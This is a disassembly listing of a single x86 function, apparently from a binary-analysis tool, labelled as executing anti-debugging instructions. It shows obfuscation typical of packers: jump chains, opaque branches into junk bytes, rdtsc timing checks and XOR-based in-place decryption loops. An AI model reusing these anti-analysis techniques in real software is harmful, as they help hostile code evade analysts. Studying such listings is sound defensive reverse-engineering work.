Function at 0x648530
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov dword [0x646610], esp
jmp 0x64853b
push 0x64855f
jmp 0x648544
push dword fs:[0]
jmp 0x64854e
mov dword fs:[0], esp
jmp 0x648559
jmp 0x6485a4
push ebp
jmp 0x6485a9
mov ebp, esp
jmp 0x6485af
jmp 0x6485b2
sub esp, 0x64
jmp 0x6485bd
mov dword [ebp - 8], 0x10
jmp 0x6485c8
mov dword [ebp - 4], 5
jmp 0x6485d3
mov dword [ebp - 0x28], 1
jmp 0x6485de
mov byte [ebp - 0x10], 1
mov dword [ebp - 0x1c], 0
jmp 0x6485f0
jmp 0x6485ed
jmp 0x6485f3
jmp 0x6485eb
jmp 0x64860e
mov eax, dword [ebp - 0x1c]
add eax, 1
mov dword [ebp - 0x1c], eax
jmp 0x64860b
jmp 0x64860e
jmp 0x648606
cmp dword [ebp - 0x1c], 0x81
jmp 0x648619
jge 0x64863a
mov ecx, dword [ebp - 0x1c]
jnp 0x648625
mov eax, eax
jp 0x648625
add dh, 0x81
add al, 0x62
add byte fs:[eax], al
mov byte [ecx + 0x646204], 0
jmp 0x648630
jmp 0x648634
jmp 0x6485f9
mov dword [ebp - 0xc], 1
jmp 0x648646
mov edx, dword [ebp - 4]
jmp 0x64864d
mov dword [ebp - 0x14], edx
jmp 0x648655
mov eax, dword [ebp - 0x14]
jmp 0x64865c
imul eax, dword [ebp - 0x14]
mov dword [ebp - 0x14], eax
jmp 0x648669
jmp 0x64866d
mov dword [ebp - 0x24], 0
mov ecx, dword [ebp - 8]
imul ecx, dword [ebp - 4]
jmp 0x648682
jmp 0x648680
jmp 0x648685
jmp 0x64867e
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x10]
and edx, 0xff
jmp 0x648695
test edx, edx
je 0x648b04
jmp 0x6486a2
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x1c], eax
jmp 0x6486be
mov ecx, dword [ebp - 0x1c]
add ecx, 1
jmp 0x6486bb
mov dword [ebp - 0x1c], ecx
cmp dword [ebp - 0x1c], 0x81
jmp 0x6486c9
jmp 0x6486cd
jge 0x648769
jmp 0x6486d7
mov edx, dword [ebp - 0x1c]
jmp 0x6486de
xor eax, eax
jmp 0x6486e6
mov al, byte [edx + 0x646204]
add eax, dword [ebp - 0x20]
jmp 0x6486f4
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
cdq
jmp 0x648700
jmp 0x648703
idiv dword [ebp - 0x14]
jmp 0x64870c
jmp 0x648710
mov ecx, dword [ebp - 0x1c]
jmp 0x648717
mov byte [ecx + 0x646204], al
jmp 0x648722
mov edx, dword [ebp - 0x1c]
jmp 0x648729
xor eax, eax
jmp 0x648730
mov al, byte [edx + 0x646204]
jmp 0x648739
mov ecx, dword [ebp - 0x14]
jmp 0x648740
imul ecx, eax
jmp 0x648746
mov edx, dword [ebp - 0x18]
sub edx, ecx
jmp 0x648750
jmp 0x648753
imul edx, edx, 0x64
jmp 0x64875d
mov dword [ebp - 0x20], edx
jmp 0x6486ae
mov dword [ebp - 0x20], 0
jmp 0x648774
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x1c], eax
jmp 0x64877e
jmp 0x6487ad
mov ecx, dword [ebp - 0x1c]
jmp 0x648790
add ecx, 1
jp 0x64879e
lea esi, [esi]
jnp 0x64879e
jmp 0x64879d
dec dword [ecx + 0x7ebe44d]
cmp ebp, ebx
pop es
jmp 0x6487aa
mov dword [ebp - 0x1c], ecx
jmp 0x6487aa
jmp 0x6487ad
jmp 0x6487a4
cmp dword [ebp - 0x1c], 0x81
jmp 0x6487b8
jge 0x648843
mov edx, dword [ebp - 0x1c]
jmp 0x6487c6
xor eax, eax
jmp 0x6487cc
mov al, byte [edx + 0x646204]
jmp 0x6487d7
add eax, dword [ebp - 0x20]
jmp 0x6487df
mov dword [ebp - 0x18], eax
jmp 0x6487e7
mov eax, dword [ebp - 0x18]
ja 0x6487f2
lea ecx, [ecx]
jbe 0x6487f2
jmp 0x6487f1
call [ecx - 0x4e96fd15]
cdq
jmp 0x6487f7
idiv dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
mov byte [ecx + 0x646408], al
jmp 0x648807
mov edx, dword [ebp - 0x1c]
jmp 0x648811
jmp 0x648814
jmp 0x64880e
xor eax, eax
mov al, byte [edx + 0x646408]
mov ecx, dword [ebp - 0xc]
imul ecx, eax
jmp 0x648826
mov edx, dword [ebp - 0x18]
jmp 0x64882d
sub edx, ecx
imul edx, edx, 0x64
mov dword [ebp - 0x20], edx
jmp 0x648788
mov dword [ebp - 0x20], 0
jmp 0x648850
jmp 0x648854
cmp dword [ebp - 0x28], 0
jmp 0x648861
jmp 0x648865
jle 0x64894b
jmp 0x648870
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x1c], pe_nt_image_headers32
jmp 0x648896
mov eax, dword [ebp - 0x1c]
jmp 0x648887
sub eax, 1
jmp 0x648890
mov dword [ebp - 0x1c], eax
jmp 0x648896
cmp dword [ebp - 0x1c], 0
jle 0x6488a5
lea ecx, [ecx]
jg 0x6488a5
jmp 0x6488a4
dec dword [edi]
mov word [ebx - 0x15000000], ds
add eax, 0xeb00eb6a
add ebp, ebx
cli
mov ecx, 0x31e44d8b
shr bl, cl
add bh, bh
push ss
jl 0x648946
jmp 0x6488b2
jmp 0x6488b0
jmp 0x6488b5
jmp 0x6488ae
mov ecx, dword [ebp - 0x1c]
xor edx, edx
jmp 0x6488be
jmp 0x6488c2
mov dl, byte [ecx + section._________3]
jmp 0x6488cc
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov cl, byte [eax + 0x646408]
jmp 0x6488e3
mov eax, dword [ebp - 0x30]
add eax, edx
jmp 0x6488ed
add ecx, eax
jmp 0x6488f3
mov dword [ebp - 0x2c], ecx
jmp 0x6488fb
mov dword [ebp - 0x30], 0
jmp 0x648906
cmp dword [ebp - 0x2c], 0x64
jl 0x64892d
jmp 0x648913
mov dword [ebp - 0x30], 1
mov ecx, dword [ebp - 0x2c]
sub ecx, 0x64
jmp 0x648927
mov dword [ebp - 0x2c], ecx
jmp 0x64892d
mov edx, dword [ebp - 0x1c]
jmp 0x648933
mov al, byte [ebp - 0x2c]
mov byte [edx + section._________3], al
jmp 0x648880
jmp 0x648a45
mov dword [ebp - 0x38], 0
jmp 0x648956
jmp 0x64895a
mov dword [ebp - 0x1c], pe_nt_image_headers32
jmp 0x648987
mov ecx, dword [ebp - 0x1c]
sub ecx, 1
jmp 0x64897a
mov dword [ebp - 0x1c], ecx
jmp 0x648983
jmp 0x648987
cmp dword [ebp - 0x1c], 0
jl 0x648a45
jmp 0x64899a
jmp 0x64899e
mov edx, dword [ebp - 0x1c]
jmp 0x6489aa
jmp 0x6489ad
jmp 0x6489a4
xor eax, eax
jmp 0x6489b2
mov al, byte [edx + section._________3]
mov ecx, dword [ebp - 0x1c]
jmp 0x6489bf
xor edx, edx
jbe 0x6489c8
mov edx, edx
ja 0x6489c8
or byte [edx + 0x64640891], 0
mov dl, byte [ecx + 0x646408]
jmp 0x6489d3
sub eax, edx
jmp 0x6489da
sub eax, dword [ebp - 0x38]
jmp 0x6489e1
mov dword [ebp - 0x34], eax
jmp 0x6489e9
mov dword [ebp - 0x38], 0
jmp 0x6489f4
cmp dword [ebp - 0x34], 0
jge 0x648a1f
jmp 0x648a02
mov dword [ebp - 0x38], 1
mov eax, dword [ebp - 0x34]
jmp 0x648a11
add eax, 0x64
mov dword [ebp - 0x34], eax
jmp 0x648a1f
mov ecx, dword [ebp - 0x1c]
jmp 0x648a27
jmp 0x648a2a
mov dl, byte [ebp - 0x34]
jmp 0x648a32
mov byte [ecx + section._________3], dl
jmp 0x648a3c
jmp 0x64896d
mov eax, dword [ebp - 0x28]
neg eax
jmp 0x648a4e
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0xc]
add ecx, 2
mov dword [ebp - 0xc], ecx
jmp 0x648a63
jmp 0x648a67
mov byte [ebp - 0x10], 0
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x1c], edx
jmp 0x648a87
mov eax, dword [ebp - 0x1c]
add eax, 1
jmp 0x648a84
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x81
jge 0x648ab4
jmp 0x648a95
mov ecx, dword [ebp - 0x1c]
jmp 0x648a9c
xor edx, edx
mov dl, byte [ecx + 0x646204]
jmp 0x648aa8
test edx, edx
je 0x648ab2
mov byte [ebp - 0x10], 1
jmp 0x648ab4
jmp 0x648a77
mov eax, dword [ebp - 0x10]
and eax, 0xff
jmp 0x648ac0
test eax, eax
je 0x648afb
jmp 0x648ac7
mov ecx, dword [ebp - 0x24]
xor edx, edx
jmp 0x648ad0
mov dl, byte [ecx + 0x646204]
jmp 0x648adc
test edx, edx
jne 0x648afb
jmp 0x648ae4
jmp 0x648ae7
mov eax, dword [ebp - 0x24]
add eax, 1
mov dword [ebp - 0x24], eax
jmp 0x648ac7
jmp 0x648688
mov esp, ebp
jmp 0x648b0b
pop ebp
jmp 0x648b10
mov ecx, 0x648ffc
dec ecx
mov edx, 0x656c67
jmp 0x648b1f
sub edx, ecx
jmp 0x648b25
mov eax, 0x16a746aa
mov ebx, 0x79eecd8e
jmp 0x648b33
dec edx
add byte [ecx + edx], bl
jmp 0x648b3c
add ebx, eax
add ebx, eax
jmp 0x648b44
dec edx
jmp 0x648b49
jne 0x648b34
mov ecx, 0x6526fc
jmp 0x648b54
mov edx, 0x656c67
dec edx
jmp 0x648b5f
sub edx, ecx
jmp 0x648b64
mov eax, 0xe3db8f8b
jmp 0x648b6d
mov ebx, 0x91272ca9
jp 0x648b7a
lea ecx, [ecx]
jnp 0x648b7a
jmp 0x648b79
inc dword [eax]
sbb al, 0x11
add byte [ecx + edx], bl
sub ebx, eax
sub ebx, eax
jmp 0x648b86
dec edx
jmp 0x648b8b
jne 0x648b7a
jmp 0x648b91
mov eax, 0x2209dbf
jmp 0x648b9a
mov ebx, 0x2209dbf
ror ebx, 0xb
xor eax, ebx
sub ebx, 0x2209dbf
mov esi, 0x64df51
mov ecx, 0x656c67
jmp 0x648bb7
sub ecx, esi
jmp 0x648bbd
dec esi
jmp 0x648bc2
xor byte [esi + ecx], al
jmp 0x648bc8
rol eax, 0xb
jmp 0x648bd0
add eax, ebx
jmp 0x648bd7
test eax, 0x200
jne 0x648be9
jmp 0x648be2
xchg ebx, eax
jmp 0x648be9
push 0xffffffffffffffeb
clc
cmp al, 0xa9
and byte [eax], al
add byte [eax], al
test eax, 0x20
jne 0x648c03
xchg ah, al
jle 0x648bfa
nop
jle 0x648bfd
jg 0x648bfd
push eax
jmp 0x648bf5
xchg bh, bl
jmp 0x648c03
dec ecx
jne 0x648bc2
rdtsc
mov ebx, eax
jle 0x648c11
mov esp, esp
jg 0x648c11
or byte [ecx - 0x14cef02f], 1
call 0x4506445
sbb eax, 0xca192fe5
mov ecx, edx
rdtsc
jmp 0x648c18
sub eax, ebx
jmp 0x648c1f
sbb edx, ecx
jmp 0x648c25
rdtsc
jne 0x648c2f
nop
jne 0x648be5
je 0x648c2f
push ss
jmp 0x648c32
add eax, ebx
adc edx, ecx
rdtsc
sub eax, ebx
sbb edx, ecx
jmp 0x648c40
not edx
jmp 0x648c46
mov ebx, edx
jmp 0x648c4b
xor ebx, 0xeb651a1b
jmp 0x648c58
jmp 0x648c56
jmp 0x648c5b
jmp 0x648c54
mov edi, 0x6552d0
mov ecx, 0x656c67
jmp 0x648c69
sub ecx, 0x6552d0
jmp 0x648c73
xor byte [edi], bl
jmp 0x648c79
ror ebx, cl
jmp 0x648c82
jmp 0x648c80
jmp 0x648c85
jmp 0x648c7e
add edi, 1
dec ecx
jne 0x648c73
mov esi, 0x650f20
mov edx, esi
jmp 0x648c9a
sub edx, 0x656c67
jmp 0x648ca5
mov al, byte [esi]
jmp 0x648cac
mov ebx, 0x7269c96
jae 0x648cb9
lea ebx, [ebx]
jb 0x648cb9
jmp 0x648cb8
invalid
mov ecx, 0x7269c96
and cl, 0x1f
rol al, cl
mov byte [esi], al
xor byte [esi], bl
jmp 0x648ccb
mov al, byte [esi]
jmp 0x648cd1
not al
jmp 0x648cd7
mov byte [esi], al
inc esi
jmp 0x648cdd
inc edx
jmp 0x648ce3
jne 0x648ca5
jmp 0x648cea
mov ecx, 0x650efb
jmp 0x648cf3
mov edx, 0x656c67
jmp 0x648cfc
dec edx
jmp 0x648d03
jmp 0x648d07
sub edx, ecx
mov eax, 0x17355b4d
mov ebx, 0x3f1f1350
jmp 0x648d17
add byte [ecx + edx], bl
jmp 0x648d1d
sub ebx, eax
jmp 0x648d23
sub ebx, eax
dec edx
jmp 0x648d2a
jmp 0x648d2d
jne 0x648d17
rdtsc
jmp 0x648d36
mov ebx, eax
jmp 0x648d3b
mov ecx, edx
jmp 0x648d41
rdtsc
jmp 0x648d47
sub eax, ebx
jg 0x648d4e
nop
lea eax, [eax]
jle 0x648d54
jmp 0x648d54
sbb edx, ecx
rdtsc
add eax, ebx
jmp 0x648d5e
adc edx, ecx
rdtsc
jmp 0x648d67
sub eax, ebx
jmp 0x648d6d
sbb edx, ecx
jmp 0x648d72
not edx
jmp 0x648d78
mov edx, edx
xor edx, 0x5bd1ab1d
jmp 0x648d84
mov ebx, 0x64f56e
jmp 0x648d8e
mov ecx, 0x656c67
jmp 0x648d97
sub ecx, 0x64f56e
jmp 0x648da1
xor byte [ebx], dl
jmp 0x648da7
ror edx, cl
add ebx, 1
jmp 0x648db3
dec ecx
jnp 0x648dbc
lea edi, [edi]
jp 0x648dbc
jmp 0x648dbb
push dword [ebp - 0x1d]
jne 0x648da1
mov esi, 0x64f4c7
mov edx, esi
jmp 0x648dc8
sub edx, 0x656c67
jmp 0x648dd2
mov al, byte [esi]
mov ebx, 0x237e50f4
mov ecx, 0x237e50f4
jmp 0x648de2
and cl, 0x1f
jmp 0x648dea
jmp 0x648ded
rol al, cl
jmp 0x648df3
mov byte [esi], al
jno 0x648e00
nop
lea edx, [edx]
jo 0x648e00
jmp 0x648e00
xor byte [esi], bl
jmp 0x648e06
mov al, byte [esi]
jmp 0x648e0c